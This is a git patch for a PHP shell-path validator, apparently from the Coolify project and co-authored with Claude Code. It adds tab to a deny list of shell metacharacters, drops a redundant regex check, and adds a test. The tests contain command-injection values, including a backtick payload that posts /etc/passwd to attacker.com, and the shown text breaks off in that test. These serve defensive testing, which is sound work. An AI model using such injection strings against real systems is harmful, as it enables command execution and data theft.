From 53cd2a6e8622bf6715f5037666f174691e417ef3 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Thu, 16 Oct 2025 09:03:53 +0200
Subject: [PATCH] refactor: harden and deduplicate validateShellSafePath
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Changes:
- Added tab character ("\t") to dangerous characters list as token separator
- Removed redundant regex-based preg_match block (lines 147-152)
- Characters $(, ${, and backticks were already covered in $dangerousChars array
- Simplified function to rely solely on $dangerousChars loop

Security improvement:
- Tab characters can act as token separators in shell contexts
- Now explicitly blocked with descriptive error message

Tests:
- Added test for tab character blocking
- All 78 security tests pass (213 assertions)
- No regression in existing functionality

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
---
 bootstrap/helpers/shared.php             | 10 +---------
 tests/Unit/ValidateShellSafePathTest.php |  7 +++++++
 2 files changed, 8 insertions(+), 9 deletions(-)

diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php
index 7a74c702f..0f5b6f553 100644
--- a/bootstrap/helpers/shared.php
+++ b/bootstrap/helpers/shared.php
@@ -128,6 +128,7 @@ function validateShellSafePath(string $input, string $context = 'path'): string
         ';' => 'command separator',
         "\n" => 'newline (command separator)',
         "\r" => 'carriage return',
+        "\t" => 'tab (token separator)',
         '>' => 'output redirection',
         '<' => 'input redirection',
     ];
@@ -142,15 +143,6 @@ function validateShellSafePath(string $input, string $context = 'path'): string
         }
     }
 
-    // Additional pattern-based checks for complex attack vectors
-    // Check for command substitution patterns: $(command) or `command`
-    if (preg_match('/\$\(|\$\{|`/', $input)) {
-        throw new \Exception(
-            "Invalid {$context}: command substitution patterns detected. ".
-            'This is not allowed for security reasons.'
-        );
-    }
-
     return $input;
 }
 
diff --git a/tests/Unit/ValidateShellSafePathTest.php b/tests/Unit/ValidateShellSafePathTest.php
index bc6d2a60d..8181670e2 100644
--- a/tests/Unit/ValidateShellSafePathTest.php
+++ b/tests/Unit/ValidateShellSafePathTest.php
@@ -78,6 +78,13 @@
         ->toThrow(Exception::class, 'newline');
 });
 
+test('blocks tab character as token separator', function () {
+    $path = "/tmp/file\tcurl attacker.com";
+
+    expect(fn () => validateShellSafePath($path, 'test'))
+        ->toThrow(Exception::class, 'tab');
+});
+
 test('blocks complex command injection with the example from issue', function () {
     $path = '/tmp/pwn`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`';